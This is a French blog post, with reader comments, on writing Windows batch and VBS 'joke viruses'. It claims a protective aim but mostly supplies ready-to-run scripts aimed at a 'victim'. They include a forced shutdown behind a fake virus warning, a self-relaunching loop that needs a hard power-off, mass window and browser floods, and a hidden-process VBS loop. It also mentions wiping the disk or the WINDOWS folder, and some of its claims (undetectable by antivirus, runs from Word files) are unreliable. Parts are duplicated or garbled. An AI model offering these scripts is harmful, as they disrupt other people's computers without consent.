Pour ceux qui ont consulté le dossier hacking, vous l'aurez compris, pour hacker il faut avant tout une bonne expérience en programmation !
Ce qui n'est pas le cas pour la programmation des virus BATCH portant l'extension *.bat, et c'est bien là tout le problème !
Ces virus sont d'une simplicité déconcertante, peuvent être tout ce qu'il y a de plus dangereux et sont imperceptibles par les antivirus, FireWall (pare-feu), etc !
C'est donc pour cela que vous ne trouverez pas ici comment créer votre premier virus *.bat mais vous apprendrez à les découvrir, à en mesurer leur puissance et à savoir vous en protéger...
Ce qui n'est pas le cas pour la programmation des virus BATCH portant l'extension *.bat, et c'est bien là tout le problème !
Ces virus sont d'une simplicité déconcertante, peuvent être tout ce qu'il y a de plus dangereux et sont imperceptibles par les antivirus, FireWall (pare-feu), etc !
C'est donc pour cela que vous ne trouverez pas ici comment créer votre premier virus *.bat mais vous apprendrez à les découvrir, à en mesurer leur puissance et à savoir vous en protéger...
Tout d'abord, qui sont-ils et comment sont-ils créés ?
Un virus *.bat est programmé en DOS ! Le DOS, seigneur du Windows, est un langage relativement simple pour de courtes applications au sein de l'environnement Windows. En une ligne de 2 mots de DOS, on peut reformater un PC ! Il utilise l'environnement Windows et peut tout reproduire, il est le coeur de Windows.Voici donc ce que l'on peut faire avec DOS, tout et même plus que vous ne pouvez faire vous-même sur votre PC !
Un programme BATCH est une suite d'exécutions ms-DOS. Il ne se compose que d'ordres qui s'exécutent les un aprés les autres.
Comment créer un virus *.bat ?
Pour créer un tel fichier, rien de plus simple ! Il vous suffit d'ouvrir le bloc-note de Windows (win+R > "Notepad" > OK) et de rentrer les ordres.Ensuite, vous faites Enregistrer et vous entrez un nom sous la syntaxe *.bat !
Vous avez créé un fichier BATCH qui exécutera un à un les ordres que vous aurez inscrit lorsque l'on essaiera de l'exécuter !
Mais que sont exactement ces ordres ?
En voilà une question qu'elle est bonne ! Comme je l'ai dis plus haut, je ne donnerais pas directement ici les ordres qui pourraient être mal utilisés mais seulement quelques exemples.Un fichier *.bat destiné à servir de virus commence toujours par la ligne @echo off. Afficher cette dernière en en-tête permet de rendre l'exécution du script invisible, les tâches ne sont pas affichées à l'écran.
C'est ensuite une série d'appel de fonctions qui s'exécutent.
Par exemple, ce code affiche le texte "Coucou", marque une pause en demandant à "l'utilisateur" de presser une touche et crée un dossier "Salut" sur le bureau :
@echo off
echo Coucou
pause
mkdir C:\Documents+and+Settings\UTILISATEUR\Bureau\Salut
Le DOS utilise l'invite de commande,
c'est donc à travers elle que s'executeront les commandes :
Pour atteindre l'invite de commande, faîtes win+R > "cmd" > OK.
Pour pirater, détruire un PC, DOS ne propose bien entendu pas des fonctions exprés ! Ce sont en fait des fonctions anodines que vous utilisez tous les jours qui serviront à faire fumer votre PC. Par exemple, une création toute simple de dossier ! Imaginez que vous ordonniez 1 000 000 de créations de dossiers sur le PC ! Celui-ci sature, le disque dur fume et le PC est naze, c'est pas plus compliqué que ça :) ! Bien entendu, on peut aussi très bien faire reformater le disque choisi ce qui permet une perte totale des données du PC...
D'autres solutions existent comme la destruction du dossier WINDOWS ou des fichiers *.dll ce qui provoque une perte totale du controle de la machine.
Ce qui nous expliquent pourquoi les antivirus ne les détectent pas ! En réalité, ils les voient mais ne les considérent pas comme des virus ! Hé oui, utilisant les fonctions de Windows, on ne peut pas se permettre de les désactiver ! Il faudrait alors désactiver la fonction de création de fichier, de suppression etc ce qui est inconcevable !
Les virus se présentent donc sous forme de petits fichiers systèmes portant l'extension *.bat.
Mais ce n'est pas aussi simple :) ! On peut effectivement très facilement insérer un virus de cette sorte dans un fichier Word à l'extension *.doc. Lorsque que le fichier est ouvert, le code est exécuté par Word, le virus est donc activé !
Donc, seule la vigilance compte, n'ouvrez pas n'importe quoi, vous êtes le meilleur antivirus qui soit !
Le principe des virus BATCH est à présent un peu démystifié, vous connaissez maintenant les possibilités de vos ennemis et vous savez donc mieux comment reconnaitre un virus *.bat.
Je ne peux pas en dire plus, mais si vous réusissez à créer votre premier virus, soyez en fier si vous le désirez mais dîtes-vous aussi que c'est le dernier.
Si vous y êtes arrivé, c'est que vous avez des chances d'être un passionné d'informatique, alors pensez que c'est vraiment con de détruire ce que l'on aime...
Ceci dit, on peut aussi très bien s'amuser sur un copain sans ne rien faire de mal ... c'est autre chose :) !
Une création de virus est passible de plusieurs années de prison et d'une amende probablement au dessus de votre bourse.
Outre les fichiers BATCH, de nombreux supports sont utilisés pour programmer des virus comme les ActiveX, le Visual Basic, les virus en *.com, etc ! Ceux-ci permettent notament de s'exécuter au travers d'une page HTML, de modifier le registre, etc !
Mais cela fera l'objet d'un autre article...
EXEMPLES DES PETIT VIRUS MAIS EFFICACE:
tout d'abord je tient a préciser : les virus
que je vous présente ci dessous ne sont pas NUISIBLE a vôtre pc , ce sont juste
des virus que je surnomme "virus blagueur" car cela peut faire peur
mais une fois le pc éteint , plus rien , si , il reste l'icône mais c'est tout
;)
1) virus qui éteint le pc dans le délai
souhaité :
ouvrez le bloc note
écrivez ceci :shutdown -s -t (et la vous
mettez le temps souhaité en seconde !)
exemple :shutdown -s -t 120 et le pc s'éteint
automatiquement dans 120secondes !
mais il faut l'enregistré sous le buro sous un
nom qui se termine en .bat et cliké dessu évidement ^^
2) virus un peu surprenant mais pas si
térifiant :
idem , ouvrez le bloc note mais écrivez ceci
:
@echo off uuuuuuu
echo uu$$$$$$$$$$$uu
echo uu$$$$$$$$$$$$$$$$$uu
echo u$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$" "$$$"
"$$$$$$u
echo "$$$$" u$u $$$$"
echo $$$u u$u u$$$
echo $$$u u$$$u u$$$
echo "$$$$uu$$$ $$$uu$$$$"
echo "$$$$$$$"
"$$$$$$$"
echo u$$$$$$$u$$$$$$$u
echo
u$"$"$"$"$"$"$u
echo uuu $$u$ $ $ $ $u$$ uuu
echo u$$$$ $$$$$u$u$u$$$ u$$$$
echo $$$$$uu "$$$$$$$$$"
uu$$$$$$
echo u$$$$$$$$$$$uu
""""" uuuu$$$$$$$$$$
echo $$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$"
echo """
""$$$$$$$$$$$uu ""$"""
echo uuuu ""$$$$$$$$$$uuu
echo u$$$uuu$$$$$$$$$uu
""$$$$$$$$$$$uuu$$$
echo $$$$$$$$$$""""
""$$$$$$$$$$$"
echo "$$$$$"
""$$$$""
echo $$$" $$$$"
ping localhost -n 30 > nul
start virus .vbs
cela ouvrira une page noire avec plein
d'inscriptions ;) ( bien entendu enregistré sous le nom que vous souhaitez .bat
sur le buro et cliké pour activé )
3)the HOT discute
ouvré bloc note
écrivez :
msg * et votre texte autant de fois que vous
voulez qu'une page avec le texte écrit souvre ( exemple:
msg * jtm
msg * moi aussi allé a +
msg * kiss you
msg * a toi aussi
msg * g envie de toi
msg * moi aussi
msg * t parent son la
msg * non chez d potes
msg * jusqu'à quelle heure ?
msg * demain
msg * on a quartier libre
msg * O_O j'ai attendue que tu dise sa
msg * t'accepte
msg * et pas que un peu
msg * j arrive mon amour
msg * oui je t attend
msg * mais c sur seront pas la avant ?
msg * sur
msg * ok
msg * tu fait le mur mur ou t arrive normal
?
msg * le mur
msg * vite
msg * oui j me grouille ^^
)
enregistré sous le buro en finisant par .bat
^^
4) pages nombre ???
ouvrez le bloc-note
écrivez
@ echo off
start image_01
image_01
enregistré sous le nom voulu terminant par
.bat et sur le bureau
une fois cliqué , le seul moyen d'arrêté le
"virus" est d'éteindre MANUELLEMENT le pc
5) pc problème
cliqué droit sur vôtre bureau , créer nouveau
raccourci et nommez le ainsi
%windir%\system32\shutdown.exe -r -t 120 -c
"danger!danger!virus imminent!danger!danger!éteignez l'ordinateur pour
être épargner !danger ! danger! éteignez pour stoppé le virus ! danger ! danger
! éteignez votre pc ! danger !" ( entre " " vous pouvez mettre
ce que vous souhaitez ;) )
et vous devrez éteindre le pc dans les 2
minutes
6) pleins de pages ouvertes en meme
temps
créer par exemple ceci
{\rtf1\ansi\ansicpg1252\deff0\deflang1036{\fonttbl{\f0\fswiss\fcharset0
Arial;}}
{\*\generator Msftedit
5.41.15.1515;}\viewkind4\uc1\pard\f0\fs20 @echo\par
start\par
start
htpp://www.google.fr/firefox?client=firefox-a&rls=org.mozilla:fr:official\par
start
http://qplaygames.jeu.fr/games/9ball.htm\par
start
http://www.youtube.com/watch?v=5GbhRmD2HhY\par
start
http://www.goodgamestudios.com/poker/\par
start http://www.jeu.fr/\par
start
http://www.jeu.fr/jeu/flakboy-2.html\par
start
http://www.jeu.fr/jeu/acrobates-de-cirque.html\par
start
http://www.jeu.fr/jeu/zone-desertique.html\par
start
http://www.jeu.fr/jeu/cute-photo-studio.html\par
start http://www.jeu.fr/jeu/tir-au-but.html\par
start
http://www.dailymotion.com/video/x83mad_prises-de-catch-rates_sport\par
start
http://www.dailymotion.com/video/x5pt4d_les-prises-rates-du-catch_sport\par
start
http://www.youtube.com/watch?v=Gy5hXj9I0CM\par
start http://www.youtube.com/watch?v=Gy5hXj9I0CM\par
start\par
start\par
start\par
start\par
start\par ( vous pouvez mettre plus de choses
)
sur vôtre bureau en .bat
Ouvrez
le bloc note et inscrivez ceci :
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start error cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start error cmd.exe
Enregistrer sous puis enregistrer en .bat
(surtout pas .exe) et enfin ouvrer le fichier (qui est sur le bureau)
Et voilà votre premier virus tout à fait
innofensif car il n'ouvre que l'invite de commande un certain nombre de fois et
le message d'erreur.
Commencez, par ouvrir votre editeur de text.
Ensuite, tapes le
code suivant :
Set variable =
CreateObject("WScript.Shell")
Do
variable.run
"notepad",false
Loop
Après, enregistrez le avec le nom que vous
voulez, avec l’extension .vbs
Petite précision :
Ici, le bloc-note (celui de windows)
représente l'application désirée, vous pouvez la remplacer par une application
plus lourde (pour des résultats plus rapides et meilleurs).
false : signifie que les fenêtres ne doivent
pas être initialisées, seulement les processus pour que la victime ne se rende
pas compte.
Loop : signifie que ça doit se faire en
boucle : ça doit lancer le bloc-note, recommencé et ainsi de suite.
Ces virus
ont été créé en Visual Basic, si vous voulez aller plus loin dans la création
de virus apprenez le Visual Basic (qui est un langage de programmation plutôt
simple)
Dans la
deuxième partie du cours nous verrons des échantillons de vrais virus bien
méchant !
Si vous
voulez un bon tuto : "Apprendre le Visual basic simplement"
laissez des coms.
Bonne chance
ton article est vraiment tres interessant merci :)
RépondreSupprimerj'ai apprécier votre article elle et super
RépondreSupprimerJ'aimerais un tuto pour le vbs stp :)
RépondreSupprimerJ'aimerai creer un virus qui sature une clé usb
RépondreSupprimer